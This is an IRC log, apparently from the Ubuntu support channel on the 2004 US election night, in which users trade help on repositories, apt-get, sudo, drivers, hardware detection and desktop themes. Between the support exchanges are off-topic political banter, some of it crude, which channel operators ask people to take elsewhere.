[03:40] <billytwowilly> nifty. thanks for the heads up
[03:41] <tylerwylie> yo
[03:41] <chibifs> swallowed into what? :P
[03:42] <tylerwylie> so where would i go if i wanted to start developing packages for the ubuntu repository, it's awfully slim
[03:42] <ficusplanet> tylerwylie, Uncomment universe.  There are over 14000 packages in ubuntu.
[03:42] <robertj_> chobifs: the panel?
[03:43] <tylerwylie> umm? uncomment universe?
[03:43] <ficusplanet> tylerwylie, Are you familiar with Synaptic?
[03:43] <chibifs> They're desklets, you put them anywhere on the desk. :P
[03:43] <tylerwylie> i'm a gentoo-ite
[03:43] <ficusplanet> tylerwylie, Go to Computer>>Sys Config>>Synaptic
[03:43] <tylerwylie> yea i know that
[03:44] <ficusplanet> Click on Settings>>Repositories and uncheck the lines that have the word universe in the sections
[03:44] <tylerwylie> i know it's a front-end to apt-get, i prefer the command line
[03:44] <ficusplanet> tylerwylie, In that case, edit /etc/apt/sources.list so that the lines containing universe are not commented.
[03:44] <ficusplanet> Then run apt-get update
[03:45] <robertj_> Urgh, that is an aweful immitation of the Dock ;)
[03:45] <tylerwylie> any other gentoo-ites in here?
[03:46] <thoreauputic> tylerwylie: recovering gentooites ? *grin*
[03:46] <ficusplanet> robertj_, gDesklets is essentially just a collection of eye candy toys.
[03:46] <tylerwylie> portage is just too good, and that's bad
[03:46] <robertj_> yeah, this one is'nt even pretty ;)
[03:46] <ficusplanet> robertj_, pixelated icons?
[03:47] <robertj_> no, drawing errors, aweful functionality, etc
[03:47] <Ruffian|JANE|> IS there a place where i can download a .png icon of the Ubuntu symbol.  or is it already on my systeM?
[03:47] <ficusplanet> Ruffian|JANE|, /usr/share/ubuntu-artwork
[03:47] <Pizbit> Ruffian|JANE|: There's several on the wiki too I believe
[03:48] <SoNiCfReAk> mythtv gives me a sqlserver error
[03:48] <robertj_> ok, it's killed & removed ;)
[03:48] <Ruffian|JANE|> ficusplanet, there is the logo, i just want the symbol
[03:48] <SoNiCfReAk> is there anyway I can force it to run with using mysql server
[03:48] <SoNiCfReAk> ?
[03:48] <ficusplanet> Ruffian|JANE|, Just cut the symbol out with The GIMP.
[03:49] <HrdwrBoB> SoNiCfReAk: mythtv NEEDS mysql.
[03:49] <nomasteryoda> ficusplanet: but for doing high-quality art you need the original
[03:49] <chibifs> Heh. I have an svg of it laying around somewhere.
[03:49] <SoNiCfReAk> well I think I set up mysql server wrong
[03:50] <SoNiCfReAk> I didn't give it a name
[03:50] <ficusplanet> nomasteryoda, You mean a high-resolution version?
[03:50] <ficusplanet> Cutting a PNG and resaving doesn't degrade quality.
[03:50] <HrdwrBoB> http://wiki.ubuntulinux.org/UbuntuArtwork?action=AttachFile&do=get&target=ubuntulogo.svg
[03:50] <HrdwrBoB> there
[03:50] <HrdwrBoB> that's the svg
[03:51] <nomasteryoda> ficusplanet:true
[03:51] <nomasteryoda> i forgot they were svg
[03:51] <nomasteryoda> i usually do at higher resolution
[03:51] <nomasteryoda> like 1200
[03:52] <nomasteryoda> then scale back for distribution
[03:52] <GotD0t> i have an hp photosmart 7260 with a built in mem card reader, and i would like to be able to access my compact flash cards... anybody know how i could accomplish this?
[03:52] <ficusplanet> I asked this earlier, but what exactly is the "SVG-aware eye candy" that is assigned to Mark Shuttleworth for Hoary?
[03:53] <HrdwrBoB> GotD0t: if your printer has a usb hub and the card reader is an indepant device, it may work already
[03:53] <HrdwrBoB> ficusplanet: SVG is scalable vector graphics
[03:53] <GotD0t> hrdwrbob no... its a card reader built into the printer
[03:53] <HrdwrBoB> GotD0t: nono, logically I mean
[03:53] <ficusplanet> HrdwrBoB, I know.  I'm wondering what exactly they are referring to, though.  Human icon theme?
[03:53] <ficusplanet> And why Shuttleworth.
[03:54] <HrdwrBoB> ficusplanet: I daresay it's something he's working on or getting commisioned for Haory
[03:54] <HrdwrBoB> hoary
[03:54] <GotD0t> hrdwrbob: oh... well it doesnt mount
[03:54] <HrdwrBoB> GotD0t: check dmesg for the messages when you plug it in
[03:54] <HrdwrBoB> if you want me to look, past it in #flood
[03:55] <nathanieldelaney> is there a flash player .deb package?
[03:56] <ficusplanet> nathanieldelaney, Add the multiverse repository to your apt configuration.
[03:56] <brettcar> nathanieldelaney: http://www.ubuntu.com/wiki/RestrictedFormats
[03:56] <GotD0t> hrdwrbob: doesnt see it
[03:57] <tylerwylie> hmm this is wierd not su'in lol
[03:57] <tylerwylie> i have no clue how to work about this
[03:58] <tylerwylie> if i was to run apt-get upgrade what would i run on command line
[03:59] <ficusplanet> sudo apt-get upgrade
[03:59] <tylerwylie> umm
[03:59] <ficusplanet> Then enter your user's password
[03:59] <tylerwylie> didn't work
[03:59] <tylerwylie> duh
[03:59] <tylerwylie> nm
[03:59] <tylerwylie> had synaptic running
[04:04] <SuperQ> Election night: prelude to a recount
[04:04] <SuperQ> commedy central rules
[04:05] <xip> I forgot all about comedy central.  Time to turn off CNN
[04:05] <LinuxJones> SuperQ, looks like Bush is getting back in ? ( I know nothing about US electoral process)
[04:05] <ficusplanet> LinuxJones, Way too early to tell.
[04:06] <LinuxJones> ficusplanet, snn has it 176-112 for Bush
[04:06] <SuperQ> LinuxJones: oh.. just enjoying commedy central
[04:06] <LinuxJones> err CNN
[04:06] <ficusplanet> Kerry has the tree key West Coast states coming in.  The swing states are still open.
[04:06] <SuperQ> feh.. CNN
[04:06] <SuperQ> commedy central
[04:06] <ficusplanet> It doesn't matter what the electoral count is at this point.
[04:06] <ficusplanet> *three
[04:08] <LinuxJones> Elector a count = wins more states= wins Presidency ?
[04:08] <xip> Its a little closer to win more states with larger population = win more electoral votes = win presidency
[04:09] <tritium> LinuxJones, no, each state has a different number of electoral votes based on population.  It's not just winning a majority of the states.
[04:09] <patator> hi
[04:09] <ficusplanet> LinuxJones, We need to see Ohio, Florida, Pennsylvania, etc. to know who will win.  Most states haven't been called for either candidate yet, including a lot of big electoral counts that will go for Kerry - i.e. California
[04:10] <billytwowilly> d/j #xchat
[04:10] <billytwowilly> fark
[04:10] <LinuxJones> I am not an even an American but I hope that Kerry wins :D
[04:10] <nomasteryoda> wow
[04:10] <xip> LinuxJones: I like to hear that :)
[04:11] <nomasteryoda> LinuxJones...you in the UK?
[04:11] <usual> bush is an idiot
[04:11] <billytwowilly> exactly;)
[04:11] <usual> kerry isn't a good choice
[04:11] <tseng> OT stuff elsewhere please
[04:11] <billytwowilly> Kerry has worse economic policies though
[04:11] <usual> we are fucked either way
[04:11] <billytwowilly> anyhoo
[04:11] <nomasteryoda> er, canada
[04:11] <nomasteryoda> nvm
[04:11] <usual> tseng, roger
[04:11] <tseng> danke.
[04:11] <billytwowilly> I installed the maxcos-x aqua theme and it changed the color of my text in xchat to white
[04:11] <LinuxJones> nomasteryoda, sadly I am much closer to Bush, Canada :)
[04:11] <billytwowilly> with a white input box background
[04:11] <billytwowilly> how do I change it back?
[04:12] <usual> change your theme
[04:12] <usual> he
[04:12] <usual> h
[04:12] <billytwowilly> but the theme is awesome except for the xchat problem
[04:12] <usual> so who will be the first guy with an ubuntu tattoo
[04:12] <usual> edit it
[04:12] <usual> i dunno
[04:12] <billytwowilly> how?
[04:12] <usual> ask the author
[04:12] <nomasteryoda> LinuxJones: yea, i looked at your hostname
[04:12] <nomasteryoda> ')
[04:13] <xip> I might be if I can get my nvidia graphics drivers to work
[04:13] <Ruffian|JANE|> NOOOOOOOOO! BUSH IS GOING TO WIN! WE ARE ALL SCREWED!!
[04:13] <usual> xip, whats wrong
[04:13] <ficusplanet> Ruffian|JANE|, Too close to tell so far.  Lets stay on topic.
[04:13] <xip> Nothing a little research wont fix.  It appears I just need to get some kernel headers or something
[04:14] <usual> xip, yes install the kernel headers
[04:14] <usual> xip, then the drivers will build
[04:14] <xip> usual, can I use apt to get them?
[04:15] <usual> xip, install the meta package linux-686 or linux-386
[04:15] <LinuxJones> nomasteryoda, heh
[04:15] <usual> xip, if your using intel i think
[04:15] <usual> xip, not sure if amd has other packages
[04:16] <xip> usual, I'm still using the vanilla ubuntu kernel on an AMD Tbird
[04:16] <usual> xip, if you dpkg -l|grep linux
[04:16] <usual> you will see all the packages you have installed for the kernel
[04:16] <GotD0t> i have an hp photosmart 7260 with a built in mem card reader, and i would like to be able to access my compact flash cards... anybody know how i could accomplish this?
[04:17] <baluba> GotD0t, it's a usb-storage camera?
[04:18] <GotD0t> baluba: no... it doesnt have a USB port
[04:18] <GotD0t> baluba: its an ancient digi cam
[04:18] <tylerwylie> ubuntu's suprisingly good,
[04:18] <baluba> GotD0t, what kind of connection it has?
[04:18] <tylerwylie> compared to gentoo it might be worthy of dual bootage
[04:19] <GotD0t> baluba: it doesnt... i have to stick my memory card into my printer's CF reader to get it in windows... but ubuntu doesnt recognize my printers CF slot
[04:19] <nomasteryoda> parallel
[04:19] <nomasteryoda> ?
[04:19] <xip> usual, okay trying to apt-get install linux-386 tells me I already have the newest version.  But I still can't install the nvidia drivers
[04:20] <LinuxJones> tylerwylie, no, you have it wrong. Gentoo might be worthy of Dual Booty :)
[04:20] <tylerwylie> LinuxJones, :P
[04:20] <LinuxJones> heh
[04:21] <tylerwylie> LinuxJones, if ubuntu let you compile your own kernel upon bootup it'd be that way
[04:21] <LinuxJones> tylerwylie, how many folks need that ?
[04:22] <tritium> doesn't ubuntu have kernel-package?
[04:22] <Micksa> teehee, dual booty
[04:23] <billytwowilly> where would I find  xchat in gconf-editor?
[04:23] <usual> building a package for the new gimp
[04:25] <tylerwylie> LinuxJones, i do
[04:27] <LinuxJones> tylerwylie, try the LiveCD and see if it supports all your system. You have exotic hardware ?
[04:28] <KentutMerah> where can i view a list of all ubuntu's packages ?
[04:29] <tylerwylie> LinuxJones, i'm running ubuntu right now i scrapped gentoo for a week to see how i do
[04:29] <Ruffian|JANE|> OH NO! WE ARE ALL GOING TO DIE!
[04:30] <LinuxJones> Ruffian|JANE|, ??
[04:30] <nomasteryoda> ouch
[04:30] <Ruffian|JANE|> LinuxJones, Bush is winning
[04:30] <tseng> OT elsewhere, thanks
[04:30] <tritium> Ruffian|JANE|, stop it
[04:32] <GotD0t> ok people... dont laugh, but i have an old CF card reader that goes through the printer port. does anybody know how i can get ubuntu to recognize it
[04:32] <tolstoy> KentutMerah, do you mean that are installed on your machine?
[04:32] <tolstoy> KentutMerah, otherwise, try archive.ubuntu.org
[04:32] <KentutMerah> tolstoy, thanks .. i was talking about on the site :)
[04:32] <xip> usual, that worked perfectly.  Thanks again :)
[04:33] <usual> xip, np
[04:33] <usual> enjoy
[04:33] <tolstoy> KentutMerah, I think the archive site lets you browse the actual repository.
[04:33] <nomasteryoda> does Ubuntu auto-recognize a newly installed TV tuner?
[04:33] <tolstoy> Otherwise, some version of apt-cache / dpkg, etc, will list 'em.
[04:33] <usual> or synaptic
[04:33] <GotD0t> i have an old CF card reader that goes through the printer port. does anybody know how i can get ubuntu to recognize it
[04:34] <HrdwrBoB> GotD0t: past the dmesg output from when you plug it in in #flood
[04:34] <KentutMerah> question : i see a lot of zope products are those for zope-2.6.x or 2.7.x ?
[04:34] <nomasteryoda> GotDot
[04:34] <HrdwrBoB> or even better, lsusb
[04:34] <usual> cool i unlocked my nokia phone
[04:34] <nomasteryoda> what does dmesg show
[04:35] <nomasteryoda> HrdwrBoB: yea
[04:35] <usual> your boot messages
[04:35] <nomasteryoda> usual: nice
[04:35] <GotD0t> hrdwrbob: i can see it detects it at address 54
[04:35] <HrdwrBoB> GotD0t: lsusb output and the logs!
[04:35] <HrdwrBoB> please
[04:36] <GotD0t> k
[04:36] <Jaramin> I had problems with the 4.10 release of Ubuntu for PPC, couldn't get pas the reboot, something to do with a bug in initrd-tools. So I chrooted into it, upgraded to Hoary. Upon reboot, all is fine, but I just have the CLI. Is there a package that has Gnome and all the stuff to get the usual graphical desktop?
[04:37] <spiv> Jaramin: ubuntu-desktop
[04:37] <Jaramin> spiv: mucho thanks
[04:38] <tylerwylie> are there any other african linux distros? :P
[04:39] <GotD0t> hrdwrbob: posted
[04:40] <Burgundavia> tylerwylie: yes, there is one called impi
[04:40] <tylerwylie> heh
[04:40] <tylerwylie> i like this brown
[04:40] <tylerwylie> it's not ugly brown
[04:40] <Burgundavia> tylerwylie: http://www.impi.org.za/
[04:40] <tylerwylie> it's sedated brown
[04:40] <nomasteryoda> yea ...
[04:41] <nomasteryoda> but another theme for the terminal should be added by default
[04:41] <xip> Anyone have any recommendations on where to get good gnome themes?
[04:41] <Safari_Al> xip, art.gnome.org for greast justice.
[04:41] <Burgundavia> xip: gnome-look.org
[04:41] <tabmoW> i have just installed ubuntu on my laptop and am having problems getting my network up, it is a pcmcia network card (xircom), any ideas?
[04:41] <xip> thank you both :)
[04:41] <tabmoW> i have dhcp running...
[04:41] <Burgundavia> tabmoW: do you have an ip address?
[04:42] <Burgundavia> tabmoW: open a terminal and type ifconfig
[04:42] <zu22> i heard i can get free copy of ubuntu sent to me
[04:42] <tabmoW> it says 192.168.0.20 but that is what i set to see if it would work... but it doesn't
[04:42] <zu22> how do i go about that?
[04:42] <nickers> my wireless worked great on first boot...now on reboot my eth1 is gone
[04:42] <nickers> any ideas?
[04:42] <Burgundavia> zu22: shipit.ubunutu.com I think
[04:43] <nomasteryoda> nickers, is it pcmcia?
[04:43] <nickers> nope
[04:43] <nickers> centrino
[04:43] <nomasteryoda> ah
[04:43] <nickers> ipw2200 is loaded
[04:43] <zu22> burgundavia: thanks, ubuntu is a Live (bootable) CD distro like Morphix and Knoppix eh?
[04:43] <Burgundavia> zu22: There is both a livecd and an installable one
[04:43] <chibifs> Hmmm.
[04:43] <Burgundavia> zu22: If you ask for a ship from ship it, they send you both
[04:43] <zu22> burgundavia: what type of package management - RPM or APT?
[04:43] <Ruffian|JANE|> I got KDE working great in Ubuntu
[04:44] <tabmoW> Burgundavia: ifconfig eth0 gives me an ip address but it is the one i set to test, there is no network connection though
[04:44] <Burgundavia> zu22: apt
[04:44] <nomasteryoda> Burgundavia, really?
[04:44] <Burgundavia> nomasteryoda: about the shipping of cds?
[04:44] <nomasteryoda> yea
[04:44] <nomasteryoda> i got 20 ordered for my LUG
[04:44] <Burgundavia> yep, they send you a livecd free
[04:44] <nomasteryoda> but didn't know the live comes with them
[04:44] <Burgundavia> My LUG is also redhat lovers
[04:44] <nomasteryoda> cool
[04:44] <nomasteryoda> i love Ubuntu
[04:45] <nickers> hey my ipw22200 failed to load firemware
[04:45] <nomasteryoda> and hald rocks
[04:45] <Burgundavia> Yes, a very nice distro
[04:45] <nickers> is there a apt-get package to reinstall the ipw2200 stuff
[04:45] <tylerwylie> Ubuntu is a nice change from those overbloated SuSE and Redhat, I think it's a good step to start on before moving to debian, slackware or gentoo,
[04:45] <hypa7ia> nickers: you can grab the firmware off ipw2200.sf.net
[04:45] <hypa7ia> tylerwylie: agreed!
[04:45] <tabmoW> anyone got any ideas to help get my pcmcia nic working in my new ubuntu install on my laptop ?
[04:46] <tylerwylie> tabmoW, ndiswrappe?
[04:46] <tylerwylie> If only it helped you configure your own kernel
[04:46] <tabmoW> ndiswrappe ?
[04:46] <tylerwylie> I'm sickened by lsmod so i got a new kernel already
[04:46] <tylerwylie> ndiswrapper
[04:46] <nomasteryoda> tabmoW: its a xircom ... what model
[04:47] <tabmoW> nomasteryoda: rbt-100 i think
[04:47] <nomasteryoda> ok
[04:47] <whiprush> jdub: ping
[04:47] <zu22> Burgundavia: cool!
[04:47] <nomasteryoda> what does a tail show
[04:47] <nomasteryoda> when plug/unplug
[04:47] <Burgundavia> zu22: Ubuntu is basically Debian
[04:47] <LinuxJones> tylerwylie, you can add modules to be loaded @ boot time, but adding them to /etc/modlues
[04:47] <Burgundavia> zu22: plus modern packages
[04:48] <tylerwylie> LinuxJones, already got my new kernel in place
[04:48] <LinuxJones> tylerwylie, ahh
[04:48] <zu22> Burgundavia: neat~ im ordering now :)
[04:48] <tylerwylie> just need to edit what i think i need to edit,
[04:48] <nomasteryoda> tabmoW: ?
[04:48] <tabmoW> nomasteryoda: it says enabling device etc. etc.
[04:48] <GotD0t> i have a cf card reader that plugs into the printer port... does anybody know how i could get it working?
[04:48] <tylerwylie> ubuntu has it's quirks, sudo, the grub setup, i
[04:48] <tylerwylie> 'll get used to it
[04:48] <tabmoW> xircom_tulip_cb: already loaded
[04:48] <tabmoW> stuff like that
[04:48] <nomasteryoda> tylerwylie: you can fix the sudo
[04:49] <tylerwylie> i dont' wanna fix it
[04:49] <tylerwylie> it's just wierd
[04:49] <nomasteryoda> just boot up and give root a password
[04:49] <nomasteryoda> in recovery mode
[04:49] <nomasteryoda> i did that until i saw sudo
[04:49] <nomasteryoda> hehe
[04:49] <tabmoW> nomasteryoda: any ideas... dhclient eth0 fails...
[04:49] <nomasteryoda> tabmoW: thining
[04:49] <nomasteryoda> thinking
[04:49] <tylerwylie> i just need help with my grub.conf
[04:50] <nomasteryoda> tabmoW: dmesg?
[04:50] <LinuxJones> night all sleepy time :)
[04:50] <tabmoW> nomasteryoda: it says that xircom cardbus adapter found etc. etc.
[04:50] <kris> whats shaking everyone?
[04:51] <nomasteryoda> man i wish i had my xircom card for my laptop
[04:51] <nomasteryoda> i installed ubuntu on it today
[04:51] <nomasteryoda> works with the 3com card
[04:51] <kris> whats xircom?
[04:51] <kris> sorry, im a linux newb
[04:51] <nomasteryoda> tabmoW's card
[04:51] <nomasteryoda> xircom pcmcia nic
[04:51] <kris> oh
[04:52] <kris> alrighty
[04:52] <kris> ive never heard of that brans
[04:52] <kris> brand*
[04:52] <nomasteryoda> kris, congrats on looking at linux
[04:52] <nomasteryoda> google
[04:52] <kris> thx man
[04:52] <usual> I'd like to see a howto on adding a grub splash and bootsplash
[04:52] <nomasteryoda> tabmoW: ifup eth0
[04:53] <kris> yeah i was playing with grub today
[04:53] <kris> i cant boot to windows now... argh
[04:53] <nomasteryoda> lol
[04:53] <nomasteryoda> kris, one drive or 2
[04:53] <tabmoW> nomasteryoda: it says error for wireless request "set encode"...
[04:53] <tabmoW> it's not even a wireless nic though....
[04:53] <nomasteryoda> right
[04:55] <skullbocks> hi
[04:56] <nomasteryoda> tabmoW: seems certain it is detecting it wrong
[05:01] <skullbocks> there is no root account in ubuntu ?
[05:01] <nomasteryoda> skullbocks: no
[05:01] <ryan>  its setup to just use sudo by default
[05:01] <nomasteryoda> but you can set it if you want
[05:01] <ryan> you can enabled it with sudo passwd root
[05:01] <skullbocks> ok
[05:01] <ryan> enable, too
[05:01] <nomasteryoda> sudo passwd
[05:02] <skullbocks> but is there any xay to have sudo password deferent from user password
[05:02] <usual> make a new user
[05:02] <usual> hoyl shit my fart stinks
[05:02] <tylerwylie> ok so now i've got my own kernel, how do i fix the modules attempting to load
[05:02] <hypa7ia> thanks for sharing usual :-p
[05:03] <usual> :D
[05:03] <usual> tylerwylie, /etc/hotplug/blacklist
[05:03] <nomasteryoda> glad this is smellum-free IRC
[05:03] <usual> tylerwylie, you can stop modules from loading in that file
[05:04] <usual> kernel upgrade in hoary
[05:04] <hypa7ia> IRC, now with SMELLOVISION
[05:04] <usual> gotta reboot
[05:04] <NoUsesKnown> hello
[05:06] <zu22> haha this is funny
[05:06] <zu22> check out the pic on the ubuntu site: http://www.ubuntulinux.org/login.jpeg  there is some dude with no shirt on and some blond chick the camera is looking down her shirt at her big boobies
[05:06] <zu22> haha that is one way to advertize a linux distro :)
[05:07] <chibifs> Goodbye, america. :/
[05:07] <hummunnah> Hi, I'm trying to install ubuntu but when It gets up to doing partition tables it doesnt seem to pick up any hard drives... any ideas anyone?? (My hard drive is a Western Digital SATA 120gb hdd)
[05:07] <zu22> maybe if we use ubuntu we can all get hot girlfriend like her? hehe
[05:07] <hypa7ia> zu22: those are not big boobies :-p
[05:08] <chibifs> Who's the guy on my wallpaper? he's got a hawt body. :o
[05:08] <hypa7ia> agreed chibifs
[05:08] <zu22> hypa7ia: big enuf ;)
[05:08] <chibifs> And he's staring at that chick's boobs.
[05:08] <zu22> lol
[05:08] <chibifs> I wonder what he's thinking.
[05:08] <chibifs> :o
[05:08] <hummunnah> anyone??
[05:09] <zu22> chibifs: "damn if i install Ubuntu, that girl is MINE! " haha
[05:09] <hypa7ia> hummunnah: i'm not sure how good sata support is :-/
[05:09] <hypa7ia> but i don't know these things too much yet :-)
[05:09] <hypa7ia> nah, i bet he's thinking...
[05:09] <hummunnah> o i see...
[05:09] <hypa7ia> "can't wait til i can get my clothes back on and go upgrade my kernel!
[05:10] <zu22> haha
[05:10] <thoreauputic> hypa7ia: hahaha
[05:10] <pepsi_> they added the models and then took them back out
[05:11] <pepsi_> how?
[05:11] <hypa7ia> well, the spash is still there
[05:11] <hypa7ia> and add ubuntu-calendar
[05:11] <hypa7ia> and you're golden
[05:11] <hypa7ia> with synaptic that is
[05:11] <pepsi_> yeah, so thats why the monthly calendar was the same as the regular one
[05:11] <zu22> hypa7ia: i cant order the CDs i get some damn python error u wanna see error?
[05:12] <zu22> the error is for http://shipit.ubuntu.com/user.cgi
[05:13] <hypa7ia> zu22: don't knwo if i'd be able to help with such errors :-/
[05:14] <zu22> hypa7ia" ok u know who i can email about it?
[05:14] <zu22> the error is on their server
[05:15] <hypa7ia> erk, i don't know....
[05:15] <hypa7ia> oooh, the bugzilla
[05:15] <hypa7ia> even tho it's not an error in the distro per se, it's prolly still the best place to put it
[05:15] <zu22> ah ok
[05:18] <pepsi_> when am i going to get my CDs?
[05:18] <skullbocks> night!
[05:19] <hypa7ia> pepsi_: check the topic :-)
[05:20] <pepsi_> hypa7ia, thx
[05:22] <hypa7ia> no problemo :-)
[05:24] <usual> does anyone know about using ubuntu on a SATA disk? hummunnah is having some issues and could use some guidance
[05:24] <usual> I don't use SATA
[05:24] <shaver> worked great for me
[05:24] <shaver> via controller
[05:24] <shaver> built into my motherboard
[05:24] <hypa7ia> http://www.linux.com/article.pl?sid=04/10/12/1424244 <-- sata issues
[05:24] <hummunnah> yah my controller is onboard..
[05:24] <hummunnah> ty!
[05:25] <hypa7ia> http://lists.slug.org.au/archives/slug/2004/10/msg00030.html <-- more sata
[05:30] <tylerwylie> It's Election Day ... so please do America a favor:
[05:30] <tylerwylie> IF YOU'RE STUPID, PLEASE DON'T VOTE!
[05:30] <tylerwylie> eek wrong channel
[05:31] <hypa7ia> heheh good one tylerwylie
[05:31] <tylerwylie> www.boortz.com
[05:31] <tylerwylie> libertarian extraordanaire
[05:31] <hummunnah> hows the election going over there??
[05:31] <tylerwylie> horrible
[05:31] <hummunnah> so bush is winning?
[05:31] <tylerwylie> no
[05:31] <tylerwylie> kerry might win
[05:31] <hypa7ia> CBC (canadian) is calling it 210/199 for the shrub
[05:31] <tylerwylie> that's horrible
[05:32] <hummunnah> o..
[05:32] <ivar> tylerwylie, you're pro bush ?
[05:32] <hypa7ia> suffice to say, i disagree, tylerwylie.
[05:32] <hummunnah> mmm me too
[05:32] <tylerwylie> no, i'm just anti-kerry
[05:32] <hummunnah> ah
[05:32] <hypa7ia> but pro-bush?
[05:32] <hummunnah> well to be honest im anti both of 'em.... im just MORE anti bush
[05:32] <tylerwylie> i dont like the idea of soggy 90 year old vaginas(no offense if there are any out here) taking the role of leader of a constitutional republic
[05:33] <tylerwylie> Badnarik > bush > pile of shit > kerry
[05:33] <baluba> well having bush winning will result in a faster decadence for US
[05:33] <baluba> don't really know what to hope from abroad
[05:34] <hypa7ia> um excuse me 90 y o vaginas?
[05:34] <ivar> ubuntu question: I've accidently moved my taskbar to the side of the screen and can't figure out how to bring it back to the bottom..
[05:34] <tylerwylie> ivar, click+drag
[05:34] <hypa7ia> hummunnah: agreed
[05:34] <ivar> ooooh. middleclick
[05:34] <ivar> tylerwylie, duh.. thanks
[05:35] <tylerwylie> ivar, no need for middle click
[05:35] <ivar> left click doesn't work
[05:35] <ivar> which is what I tried..
[05:35] <ivar> tylerwylie, weird.. it does
[05:35] <tritium> tylerwylie, resulting to name-calling doesn't help your cause
[05:36] <tritium> resorting
[05:36] <tylerwylie> doesn't matter polls are closed
[05:36] <zu22> u need 270 electoral votes to win
[05:36] <drbyte> anyone using a dell inspiron 510m here?
[05:37] <hummunnah> u having issues installing ubuntu on a dell?
[05:37] <hummunnah> or using ubuntu on a dell?
[05:37] <tylerwylie> ubuntu installed fine on this dell
[05:37] <baluba> well night all
[05:37] <drbyte> i want to buy the dell 510m, and am wondering if ubuntu just works on it
[05:38] <hummunnah> grr i hate dell Badnarik>kerry>pileofshit>bush>dell :P
[05:38] <austa> lol
[05:38] <tylerwylie> drbyte, don't get dell, get hp, ibook, ibm, anything but dell
[05:38] <hummunnah> too many compatability issues
[05:38] <drbyte> tylerwylie: i have several laptops already. this would be my first dell :P
[05:38] <austa> i'm about to install ubuntu on an HP notebook.. anything i should worry?
[05:38] <tylerwylie> drbyte, don't get dell, just MS's little biotch
[05:39] <hummunnah> heh
[05:39] <hypa7ia> austa: what graphics and network?
[05:39] <drbyte> tylerwylie: heh. prices are reasonable tho
[05:39] <tylerwylie> drbyte, yea, try to get them to sell you a laptop WITHOUT microsoft,
[05:40] <hummunnah> drbyte: did you ever wonder why prices are reasonable?
[05:40] <austa> prosavage on-board graphics and a belkin 802.11g wireless card with WAP encrypted network
[05:40] <drbyte> tylerwylie: lets put it this way.. i kinda want the windows XP too. its cheaper than trying to buy a license
[05:40] <tylerwylie> drbyte, TRAITOR
[05:40] <tylerwylie> drbyte, get the HP or IBM or powerbook(apple)
[05:40] <drbyte> tylerwylie: have apple, have ibm (older t20), hp. hmm
[05:41] <hypa7ia> drbyte: get an asus.   you can get them barebones.  i did :-)
[05:41] <hypa7ia> no ms tax!
[05:41] <hummunnah> hmm "buy a microsoft license"??.... im not familiar with this term
[05:41] <drbyte> hypa7ia: nah.
[05:41] <tylerwylie> pirate
[05:42] <austa> hypa7ia, any idea?
[05:43] <mercurus> greetings all
[05:43] <hypa7ia> austa: idea on what?
[05:44] <hypa7ia> evenin mercurus
[05:44] <austa> if i should have any problems with the install
[05:45] <tylerwylie> Regardless of who wins the presidency, how can someone feel positive about the future of this republic when over 45% of the population is voting for a man like John Kerry, we are in a lot of trouble and that lot of trouble is us -- Neal Boortz
[05:45] <tylerwylie> damnit
[05:45] <tylerwylie> wrong channel again
[05:45] <hummunnah> lol
[05:45] <tylerwylie> sorry guys for political ramble
[05:45] <HrdwrBoB> tylerwylie: please do not discuss US polotics in this channel
[05:45] <HrdwrBoB> a) it's offtopic
[05:45] <HrdwrBoB> b) I don't feel like whuppin anybody today
[05:46] <hypa7ia> oh, austa, sorry, no attention span here :-)  what's the chipset on the wifi?
[05:46] <hypa7ia> thank you HrdwrBoB :-)
[05:46] <austa> hypa7ia, you mean like 802.11g ?
[05:47] <hypa7ia> nope, as in who makes the chip
[05:47] <hypa7ia> intel etc
[05:48] <austa> belkin
[05:48] <hypa7ia> more important than belkin
[05:48] <austa> ahhh
[05:48] <hypa7ia> prolly not
[05:48] <hypa7ia> try this:
[05:48] <hypa7ia> err, nm, idea would have required havinf the laptop present
[05:49] <austa> hypa7ia,  Broadcom 94306
[05:49] <hypa7ia> ahh.  i think you're good then
[05:50] <hypa7ia> might want to google that and linux tho
[05:50] <austa> excellent! i will do that
[05:55] <polok> What would be a reason why Firefox doesn't print out Japanese?
[05:56] <tylerwylie> because you don't use the correct character set?
[05:56] <polok> (it displays it, but when I select print, a bunch of boxes come out of my printer)
[05:56] <polok> tylerwylie: sorry, I meant hardcopy print. >_< It displays it
[05:56] <tylerwylie> oh
[05:58] <hypa7ia> that's supah weird
[05:59] <polok> my printer does print Japanese characters.
[05:59] <polok> Openoffice does it perfectly well.
[05:59] <polok> just when firefox does it
[06:01] <billytwowilly> how do I get nautilus to open directories in the same window?
[06:03] <chibifs> billy- open gconf
[06:03] <chibifs> Go to the nautilus settings
[06:03] <chibifs> Apps>Configuration Tools>Configuration Editor
[06:03] <billytwowilly> hmm. I'm there. window_always_new doesn't appear to be set, yet I keep getting new windows
[06:03] <hypa7ia> billytwowilly: http://www.thelinuxpimp.com/main/modules.php?op=modload&name=News&file=article&sid=570
[06:04] <hypa7ia> that should do it
[06:04] <chibifs> Set nautilus>prefrences>always_use_browser
[06:04] <billytwowilly> thanks. I'l take a look
[06:04] <HrdwrBoB> chibifs: it's actually in the optucs
[06:04] <HrdwrBoB> options
[06:04] <chibifs> Lies. :o
[06:04] <HrdwrBoB> you don't need to use gconf
[06:05] <chibifs> When was this changed?
[06:05] <HrdwrBoB> ages ago
[06:05] <billytwowilly> ick
[06:05] <HrdwrBoB> it's been in ubuntu for months
[06:05] <billytwowilly> I don't want them to be browser windows, I just don't want a new one every time.
[06:06] <billytwowilly> the way it looks now is good. I just want only one window open for browsing
[06:08] <chibifs> Oh. I think spatial is silly. :P
[06:08] <chibifs> file managers feel useless without a location bar.
[06:08] <billytwowilly> well, idealy, I'd have a location bar on top of the spatical thing, but have everything open in the same window
[06:09] <billytwowilly> hmm. I'd also need a back button I suppose;) damnit;)
[06:09] <chibifs> Hehe.
[06:09] <Pizbit> Use the backspace key
[06:09] <billytwowilly> heh
[06:15] <chibifs> Heh, isn't there a way to disable graphic buttons completely?
[06:15] <chibifs> can in xffm. :/
[06:15] <mercurus> chibifs: aye, in Preference for Nautlius
[06:16] <chibifs> Would that work for you, billy? :P
[06:17] <billytwowilly> would what work? I'm looking in prefs and don't see anything.. and xffm doesn't make any sense to me.
[06:18] <billytwowilly> I'm a kde user;) everything is easy in kde;)
[06:18] <KoYoTe_K> The one who has repositories for ubuntu, I want to install mplayer and several things more...
[06:18] <tylerwylie> you have totem installed don't you?
[06:19] <KoYoTe_K> Totem does not work with videos
[06:20] <KoYoTe_K> not reproduce
[06:21] <leaf_> you have to install w32codec package to play "videos"
[06:21] <KoYoTe_K> This one installed but it does not work
[06:22] <leaf_> you may want to try the totem-xine package
[06:22] <leaf_> rather than the totem-gstreamer
